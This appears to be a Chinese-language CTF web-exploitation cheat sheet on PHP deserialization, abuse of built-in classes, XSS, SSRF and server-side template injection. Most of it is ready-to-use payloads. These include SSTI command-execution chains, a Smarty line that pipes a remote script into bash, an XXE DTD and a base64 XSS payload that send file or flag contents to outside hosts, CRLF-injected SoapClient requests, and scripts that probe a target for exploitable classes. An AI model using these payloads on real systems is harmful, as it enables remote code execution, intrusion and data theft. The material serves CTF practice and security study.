@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub

$o=new Testobj();
$o->output='eval($_GET["a"]);';

$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

file://

--------本地文件传输协议

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受配置文件中allow_url_fopen与allow_url_include的影响。

www.xxx.com?cmd.php=file://[文件的绝对路径和文件名]

PHP反序列化

魔术方法

__construct()            //类的构造函数,实例化对象时触发

__destruct()             //类的析构函数,对象被销毁时触发(new unserialize)

__sleep()                //执行serialize()时,先会调用这个方法

__wakeup()               //执行unserialize()时,先会调用这个方法

__toString()             //echo或者print只能调用字符串的方式去调用对象,即把对象当成字符串使用,此时自动触发toString()

__invoke()               //把对象当作函数调用时触发

__call()                 //调用的不存在或受保护的方法的名称和参数

__callStatic()           //静态调用或调用成员常量时使用的方法不存在

__get()                  //调用的成员属性不存在

__set()                  //在给不可访问属性赋值时触发

__isset()                //当对不可访问属性调用 isset() 或 empty() 时触发

__unset()                //在不可访问或**不存在**的属性上使用unset()时触发

__clone()                //当使用 clone 关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法 

2.png
3.jpg

__wakeup()绕过

反序列化漏洞CVE-2016-7124
影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10
4.png

sesssion 反序列化漏洞

5.png

想要利用session反序列化漏洞的话,我们必须要有 ini_set() 这个函数来更改 session.serialize_handler 的值,将session反序列化引擎修改为其他的引擎,本来应该使用ini_set()这个函数的,但是这个函数不接受数组,所以就不行了。于是我们就用session_start()函数来代替,即构造 session_start(serialize_handler=php_serialize) 就行了。我们可以利用题目中的 call_user_func($_GET['f'], $_POST); 函数,传入GET:/?f=session_start POST:serialize_handler=php_serialize,实现 session_start(serialize_handler=php_serialize) 的调用来修改此页面的序列化引擎为php_serialize。

绕过%00

protected属性在序列化后会出现不可见字符\x00*\x00
private属性序列化的时候会引入两个\x00

PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
或者在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,直接改为\00

原生类

new $this->coos($this->file);


可遍历目录类有以下几个:
DirectoryIterator 类
FilesystemIterator 类
GlobIterator 类
//"glob:///*f*"; #使用glob协来查找匹配的文件路径模式 这里/*f*匹配了根目录下包含f的文件夹名
可读取文件类有:
SplFileObject 类


<?php
//原生类修饰
class ctfshow{
    public $ctfshow = 'whoami';

}
$a= new ArrayObject();
$a -> a = new ctfshow();
echo serialize($a);
?>

 //C:11:"ArrayObject":74:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}}}

常用原生类:

Error
Exception
SoapClient
DirectoryIterator
FilesystemIterator
SplFileObject
SimpleXMLElement

Error/Exception

message:错误消息内容
code:错误代码
file:抛出错误的文件名
line:抛出错误在该文件中的行数

Error XSS

适用于php7,开启报错的情况下

<?php
$a = new Error("<script>alert('1')</script>");
echo urlencode(serialize($a));

Excepthin XSS

适用于php5、7版本,开启报错的情况下

<?php
$a = new Exception("<script>alert('1')</script>");
echo urlencode(serialize($a));

Error 命令执行

<?php
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");
?>
////////////
?a=Error&b=phpinfo
?a=Error&b=system('ipconfig')

绕过哈希比较

<?php
$a = new Error("coleak",1);$b = new Error("coleak",2);//在同一行,报错信息会报出line
echo $a.PHP_EOL.PHP_EOL;
echo $b;

$a 和 $b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的
利用Error和Exception类的这一点可以绕过在PHP类中的哈希比较

SoapClient

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call触发很简单,就是当对象访问不存在的方法的时候就会触发。
第一个参数为指明是否为wsdl模式,为null则为非wsdl模式
wsdl,就是一个xml格式的文档,用于描述Web Server的定义
第二个参数为array,wsdl模式下可选;非wsdl模式下,需要设置ilocation和uri,location就是发送SOAP服务器的URL,uri是服务的命名空间

<?php

//uri+cc=SOAPAction
$a = new SoapClient(null,array('location'=>'http://ip:6666/coleak', 'uri'=>'http://ip:6666'));
$a->cc();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

也可以注入cookie

new SoapClient(null,array('location' => $target, 'user_agent' => "ki10Moc\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test'));
如果要发送post,直接在最后`\r\n\r\n`再加上post的数据即可

例:

2024-10-28T08:10:10.png

user=ki10Moc%0D%0AAUTHORIZATION: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0D%0AContent-Type: application/x-www-form-urlencoded%0D%0AContent-Length: 35%0D%0A%0D%0Aexpression=`cat /flag`%26aa=

实际发包时\r\n替换为%0D%0A,post数据要加aa=来吞后面脏数据。Content-Length: 35要正确

SimpleXMLElement

SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。
当我们将第三个参数data_is_url设置为true的话,我们就可以调用远程xml文件,实现xxe的攻击。第二个参数的常量值设置为2即可。第一个参数data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:6666?p=%file;'>">

a.xml
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

/show.php?module=SimpleXMLElement&args[]=http://ip/a.xml&args[]=2&args[]=true

ZipArchive

ZipArchive::addEmptyDir:添加一个新的文件目录
ZipArchive::addFile:将文件添加到指定zip压缩包中
ZipArchive::addFromString:添加新的文件同时将内容添加进去
ZipArchive::close:关闭ziparchive
ZipArchive::extractTo:将压缩包解压
ZipArchive::open:打开一个zip压缩包
ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0)代表删除第一个文件
ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除

着重看一下ZipArchive::open方法:

ZipArchive::open(string $filename, int $flags=0)
该方法用来打开一个新的或现有的zip存档以进行读取,写入或修改。

filename:要打开的ZIP存档的文件名。
flags:用于打开档案的模式。有以下几种模式:
ZipArchive::OVERWRITE:总是以一个新的压缩包开始,**此模式下如果已经存在则会被覆盖或删除。**
ZipArchive::CREATE:如果不存在则创建一个zip压缩包。
ZipArchive::RDONLY:只读模式打开压缩包。
ZipArchive::EXCL:如果压缩包已经存在,则出错。
ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。
**注意,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,调用时也可以直接将flags赋值为8

文件操作类

#遍历文件目录
DirectoryIterator 类
FilesystemIterator 类
GlobIterator 类
#读取文件
SplFileObject 类

DirectoryIterator/FilesystemIterator

执行echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名

<?php
$dir=new DirectoryIterator("/");
echo $dir;

遍历文件目录,直接对文件全部输出出来

<?php
$dir=new DirectoryIterator("/");
foreach($dir as $f){
    echo($f.'<br>');
    //echo($f->__toString().'<br>');
}

glob:// 协议用来查找匹配的文件路径模式

<?php
$dir=new DirectoryIterator("glob:///*fl*");
echo $dir;

FilesystemIterator 类与 DirectoryIterator 类相同

GlobIterator

<?php
$dir = '/fl*'; //也支持glob://
$a = new GlobIterator($dir);
foreach($a as $f){
    echo $f;
}
?>

SplFileObject

对文件中的每一行内容进行遍历

<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}

Reflection*

反射调用函数

(new ReflectionFunction("system"))->invoke("ls /");

获取注释;这里rc是传入原生类名,rb和ra都是传入类的属性,rd时传入类方法,后面就是实例化并且调用该方法

$method= new $rc($ra, $rb);
var_dump($method->$rd());

rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

Tips

编码

PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:

?cata=O:9:"catalogue":2:{s:5:"class";S:13:"SplFileObject";s:4:"data";s:5:"/flag";}
?cata=O:9:"catalogue":2:{s:5:"class";S:13:"SplFileOb\6Aect";s:4:"data";s:5:"/flag";}


O:4:"test":1:{s:4:"data";s:5:"xilzy";}----->
O:4:"test":1:{s:4:"data";S:5:"\x78\x69\x6c\x7a\x79";}

XSS

123

过滤

过滤圆括号(,)以及反撇号 。input.replace(/[()]/g, '')

<script>window.onerror=eval;throw'=alert\x281\x29'</script
<iframe srcdoc="<script>parent.alert&#40;1&#41;</script>"
<svg><script>alert&#40;1&#41</script>

" 被转义成 \" 经过html 解析后 里面变成 console.log("\") 会报语法错误, 再补个 \ 即可

xss小游戏

小游戏
答案

mXSS

https://www.yuque.com/cnily03/tech/chrome-xss-caused-by-html-parsing-differentials#Vah6q

https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code/

<img src=x onerror=eval(atob('Y29uc3QgdXJsID0gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMC9jb250ZW50LzY2Y2QwY2I3YzY5NDc2ZTQ3ZDlmM2U5N2QyZTg1N2RhJzsNCmNvbnN0IGRhdGEgPSBuZXcgVVJMU2VhcmNoUGFyYW1zKCk7DQpjb25zdCBwYWdlQ29udGVudCA9IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5vdXRlckhUTUw7DQoNCmZ1bmN0aW9uIHRvQmFzZTY0KHN0cikgew0KICAgIHJldHVybiBidG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudChzdHIpKSk7DQp9DQoNCmNvbnN0IGJhc2U2NENvbnRlbnQgPSB0b0Jhc2U2NChwYWdlQ29udGVudCk7DQoNCi8vIOiOt+WPliAvZmxhZyDnmoTlk43lupTlgLwNCmZldGNoKCdodHRwOi8vMTI3LjAuMC4xOjUwMDAvZmxhZycpDQogICAgLnRoZW4ocmVzcG9uc2UgPT4gew0KICAgICAgICBpZiAoIXJlc3BvbnNlLm9rKSB7DQogICAgICAgICAgICB0aHJvdyBuZXcgRXJyb3IoJ05ldHdvcmsgcmVzcG9uc2Ugd2FzIG5vdCBvaycpOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiByZXNwb25zZS50ZXh0KCk7DQogICAgfSkNCiAgICAudGhlbihmbGFnID0+IHsNCiAgICAgICAgLy8g5bCG6I635Y+W55qEIGZsYWcg5re75Yqg5YiwIGRhdGEg5LitDQogICAgICAgIGRhdGEuYXBwZW5kKCdjb250ZW50JywgZmxhZyk7DQoNCiAgICAgICAgLy8g5Y+R6YCBIFBPU1Qg6K+35rGCDQogICAgICAgIHJldHVybiBmZXRjaCh1cmwsIHsNCiAgICAgICAgICAgIG1ldGhvZDogJ1BPU1QnLA0KICAgICAgICAgICAgaGVhZGVyczogew0KICAgICAgICAgICAgICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJywNCiAgICAgICAgICAgIH0sDQogICAgICAgICAgICBib2R5OiBkYXRhLnRvU3RyaW5nKCkNCiAgICAgICAgfSk7DQogICAgfSkNCiAgICAudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpDQogICAgLnRoZW4oZGF0YSA9PiBjb25zb2xlLmxvZyhkYXRhKSkNCiAgICAuY2F0Y2goZXJyb3IgPT4gY29uc29sZS5lcnJvcignRXJyb3I6JywgZXJyb3IpKTsNCg==')) a=aa

请求/flag路由并将相应内容发到content

const url = 'http://127.0.0.1:5000/content/66cd0cb7c69476e47d9f3e97d2e857da';
const data = new URLSearchParams();
const pageContent = document.documentElement.outerHTML;

function toBase64(str) {
    return btoa(unescape(encodeURIComponent(str)));
}

const base64Content = toBase64(pageContent);

// 获取 /flag 的响应值
fetch('http://127.0.0.1:5000/flag')
    .then(response => {
        if (!response.ok) {
            throw new Error('Network response was not ok');
        }
        return response.text();
    })
    .then(flag => {
        // 将获取的 flag 添加到 data 中
        data.append('content', flag);

        // 发送 POST 请求
        return fetch(url, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
            },
            body: data.toString()
        });
    })
    .then(response => response.text())
    .then(data => console.log(data))
    .catch(error => console.error('Error:', error));

SSRF

伪协议

file://从文件系统中获取文件内容,如file:///etc/passwd
dict://字典服务协议,访问字典资源,如dict://ip:6739/info:
ftp://可用于网络端口扫描
sftp:// SSH文件传输协议或安全文件传输协议
ldap://轻量级目录访问协议
tftp://简单文件传输协议
gopher://分布式文档传递服务

file://

查找内网存活主机ip

file:///etc/passwd 读取文件passwd
file:///etc/hosts 显示当前操作系统网卡的IP
file:///proc/net/arp  显示arp缓存表(已经通讯过的主机)(寻找内网其他主机)
file:///proc/net/fib_trie 显示当前网段路由信息

2024-01-26T15:42:11.png
(address为00000,即主机不存在)

dict://

可用于:扫描端口、获取内网信息、爆破密码等
关于dict协议:
  > dict://serverip:port/命令:参数
  > 向服务器的端口请求 命令:参数,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利

如果服务端不支持gopher协议,可尝试dict协议,不过通过dict协议的话要一条一条的执行,而gopher协议执行一条命令就行了。

curl扩展也支持dict协议,可以配合curl命令发送请求,但也可以直接在浏览器上或者bp发包请求。

dict://172.250.250.1:80

/xx.php?url=dict://172.21.0.2:6379/info
/xx.php?url=dict://172.21.0.2:6379/get:user
/xx.php?url=dict://172.21.0.2:6379/flushall

ftp://

可用于网络端口扫描

ftp://172.250.250.1:80

2024-01-26T15:42:38.png

慢,太慢了

http://

作用:常规URL形式,允许通过HTTP 1.0的GET方法,以只读访问文件或资源。CTF中通常用于远程包含。

此处可用做内网目录扫描

http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1=val1&var2=val2
https://user:password@example.com

Gopher

什么是gopher协议

gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。通过gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。
限制

gopher的协议格式

gopher://<host>:<port>/<gopher-path>_<TCP数据流>
<port>默认为70
发起多条请求每条要用回车换行去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码

GET

GET /testg.php?name=xxx HTTP/1.1
Host: 10.211.55.2
 

1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束

POST

POST /ssrf/base/post.php HTTP/1.1
host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:9
 
name=post
 

回环地址绕过

   127.0.0.1   点分十进制
0b 01111111000000000000000000000001   二进制32位
0  17700000001   八进制
0x 7F000001    十六进制
   2130706433  连续十进制
   http://0177.0000.0000.0001/  点分八进制
   http://0x7F.0x00.0x00.0x01/  点分十六进制

302重定向

<?php
header('Location: http://127.0.0.1/flag. php');

DNS重绑定绕过

https://lock.cmpxchg8b.com/rebinder.html

SSTI

原因

render_template渲染函数的问题

渲染函数在渲染的时候,往往对用户输入的变量不做渲染。

也就是说例如:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
判断SSTI类型:
123
尝试{{7*'7'}},返回49,说明是Twig模板,但是如果返回7777777,则说明是Jinia2模板

Smarty

{$smarty.version}获取smarty版本号
{php}echo `id`;{/php} 执行php代码//注意这个在3.x版本的时候就已经废弃了
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']);?>",self::clearConfig())}  //getshell

//RCE
{system('ls')}
 
{if show_source('/flag')}{/if}
 
{if passthru(“tac fl*”)}{/if}
 
反弹shell:
 
{system('curl http://xxx:xxxx/dev.txt|bash')}

twig

基础注入:

{{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all | join(',')}}


任意文件读取:
{{'/etc/passwd'|file_excerpt(1,30)}}


RCE:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
 
{{['id'] | filter('system')}}
 
{{['cat\x20/etc/passwd'] | filter('system')}}
 
{{['cat$IFS/etc/passwd'] | filter('system')}}


如果有FILTER_VALIDATE_EMAIL时:
email = "{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@xx.com

Mako


mako 直接支持 Python 语法,所以 ${ } 可以直接使用内置函数,例如 dir。更不用说还有 <% %>、<%! %> 了。所以 mako 的 SSTI 手法基本上兼容 jinja2 的 SSTI 手法,可以说思路灵活得多

<%!
import os
os.system("whoami")
%>
# 或者
<%__import__("os").system("ls")%>
# 或者
${__import__("os").system("whoami")}


魔术方法

__class__            类的一个内置属性,表示实例对象的类。
__base__             类型对象的直接基类
__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__()     返回这个类的子类集合(**要带括号,不然会报一大堆**),Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__             初始化类,返回的类型是function
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app          应用上下文,一个全局变量。

request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1        get传参
request.values.x1      所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1        post传参    (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data           post传参    (Content-Type:a/b)
request.json         post传json  (Content-Type: application/json)
config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g                    {{g}}得到<flask.g of 'flask_ssti'>

常见过滤器

attr():过滤.
int():将值转换为int类型;

float():将值转换为float类型;

lower():将字符串转换为小写;

upper():将字符串转换为大写;

title():把值中的每个单词的首字母都转成大写;

capitalize():把变量值的首字母转成大写,其余字母转小写;

trim():截取字符串前面和后面的空白字符;

wordcount():计算一个长字符串中单词的个数;

reverse():字符串反转;

replace(value,old,new): 替换将old替换为new的字符串;

truncate(value,length=255,killwords=False):截取length长度的字符串;

striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;

escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。

safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};

list():将变量列成列表;

string():将变量转换成字符串;

join():将一个序列中的参数值拼接成字符串。示例看上面payload;

abs():返回一个数值的绝对值;

first():返回一个序列的第一个元素;

last():返回一个序列的最后一个元素;

format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!

length():返回一个序列或者字典的长度;

sum():返回列表内数值的和;

sort():返回排序后的列表;

default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

length()返回字符串的长度,别名是count

SSTI读取文件

python2中可以使用file类来读取文件

{{[].__class__.__base__.__subclasses__()40.read()}}
python3中没有file类了

可以使用,,,来读取文件

//<class '_frozen_importlib_external.FileLoader'>
{{"".__class__.__base__.__subclasses__()[79]['get_data'](0,'/flag')}}
//<class 'click.utils.LazyFile'>
{{"".__class__.__base__.__subclasses__()[424]('/flag').read()}}
//<class '_frozen_importlib._ModuleLock'>
{{"".__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['open']('/flag').read()}}

SSTI执行命令

内建函数eval import

.py

import requests
url="http://192.168.232.128:18080/flasklab/level/1"
for i in range(500):
    data = {"code":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
    try:
        response = requests.post(url,data=data)
        #print(response.text)
        if response.status_code == 200:
            if 'eavl' in response.text:
                print(i)
                #print(response.text)
    except:
        pass

#eval
''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")


#__import__
''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

os模块执行命令

显示当前flask有哪些函数和对象
{{self.__dict__._TemplateReference__context.keys()}}

lipsum, url_for, get_flashed_messages函数都内置os模块

在其他函数中直接调用os
#通过config,调用os
{{config.__class__.__init__.__globals__.os.popen('id').read()}}

#通过url_for,调用os
{{url_for.__globals__.os.popen('id').read()}}
{{url_for.__globals__['__builtins__']['eval']("print(112121)")}}

#通过lipsum,get_flashed_messages,调用os
{{lipsum.__globals__.os.popen('id').read()}}
{{get_flashed_messages.__globals__.os.popen('id').read()}}

#过滤print(中间是octal)命令随手|base64,出现空格换行啥的会断
{%if(lipsum|attr(('%c'%95)*2+'globals'+('%c'%95)*2)|attr(('%c'%95)*2+'getitem'+('%c'%95)*2)('os')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('\167\147\145\164\40\150\164\164\160\72\57\57\66\62\56\62\60\64\56\65\64\56\65\64\72\61\62\63\64\57\140\162\145\166\40\57\146\154\141\147\174\142\141\163\145\66\64\140')|attr('read')())%}{%endif%}

{{g.pop.__globals__.__builtins__.__import__('os').popen('id').read()}}
#在已经加载os模块的子类中直接调用os模块
{{''.__class__.__base__.__subclasses__()[199].__init__.__globals__['os'].popen("id").read()}}

.py

#查找已经加载os模块的子类
import requests
url="http://192.168.232.128:18080/flasklab/level/1"
for i in range(600):
    data = {"code":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
    try:
        response = requests.post(url,data=data)
        #print(response.text)
        if response.status_code == 200:
            if 'os.py' in response.text:
                print(i)
    except:
        pass

importlib类执行命令

加载第三方,使用load_module加载os

{{"".__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("id").read()}}

linecache函数执行命令

.py

import requests
url="http://192.168.232.128:18080/flasklab/level/1"
for i in range(600):
    data = {"code":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
    try:
        response = requests.post(url,data=data)
        #print(response.text)
        if response.status_code == 200:
            if 'linecache' in response.text:
                print(i)
    except:
        pass


linecache函数可用于读取任意文件的任意一行,其中也引入了os模块。
py脚本查linecache

{{''.__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen('id').read()}}

subprocess.Popen类执行命令

从python2.4版本开始,可以用 subprocess 这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。subprocess 意在替代其他几个老的模块或者函数,比如: os.system、os.popen 等函数。
py脚本查subprocess.Popen

.py

import requests
url="http://192.168.232.128:18080/flasklab/level/1"
for i in range(500):
    data = {"code":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
    try:
        response = requests.post(url,data=data)
        #print(response.text)
        if 'subprocess.Popen' in response.text:
            print(i)
            print(response.text)
    except:
        pass

{{''.__class__.__base__.__subclasses__()[200]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

获取config

调用current_app相当于调用flask

{{config}}
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

Bypass

拼接

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()

编码

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")

等价于

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(可以看出单双引号内的都可以编码)

同理还可以进行rot13、16进制编码等

关键字过滤

过滤了"class""arg""form""value""int""global"等关键字
以”__class__"为例
1 字符编码
2 最简单拼接"+":'__cla'+'ss__'
3 使用Jinjia2中的"~"进行拼接:

{%set a="__cla"%}{%set b="ss__"%}{{()[a~b]}}

4 使用过滤器(reverse反转、replace替换、join拼接等):

{%set a="__ssalc__"|reverse%}{{''[a]}}
{%set a="__clabb__"|replace("bb","ss")%}{{''[a]}}
{%set a=dict(__cla=a,ss__=a)|join%}{{''[a]}}
{%set a=['__cla','ss__']|join%}{{''[a]}}


eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])

5 利用python的chr():

{%set chr=url_for.__globals__['__builtins__'].chr%}{{''[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
{%set chr=url_for.__globals__['__builtins__'].chr%}{{''[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)]}}

过滤中括号[]

#getitem()

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)

#pop()

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

#字典读取

__builtins__['eval']()
__builtins__.eval()
(经过测试这种方法在python解释器里不能执行,但是在测试的题目环境下可以执行)

过滤大括号{{ }}

{% print() %}

过滤单双引号'' ""

先获取chr函数,赋值给chr,后面拼接字符串

//<class 'click.utils.LazyFile'>
{{"".__class__.__base__.__subclasses__()[424]('/flag').read()}}

{%set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}

request.args.a
request.form.b
request.values.c
request.cookies.d

?name={{()[request.cookies.c][request.cookies.d][0][request.cookies.e]()[59][request.cookies.f][request.cookies.g][request.cookies.h][request.cookies.i](request.cookies.j).read()}}
cookie:
c=__class__;d=__bases__;e=__subclasses__;f=__init__;g=__globals__;h=__builtins__;i=open;j=/etc/passwd

过滤下划线_

attr()|request
request
unicode
unicode

{%print(()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(228)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0069\u0064")|attr("read")())%}

16进制
16
格式化字符串
格式化字符串
编码
往上翻

过滤点.

中括号[]绕过[]中加单引号闭合

{{()['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['__builtins__']['open']('/flag').read()}}

attr()

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('id')|attr('read')()}}

获取符号%_(space).

获取百分号%
{%set cx=(self|string|urlencode|list)%}{{cx[0]}}
获取下划线_
{%set cx=({}|select|string|list)%}{{cx[24]}}
获取空格
{%set cx=(self|string|list)%}{{cx[18]}}
获取dian
{%set point = self|float|string|min %}

全家福

qjf

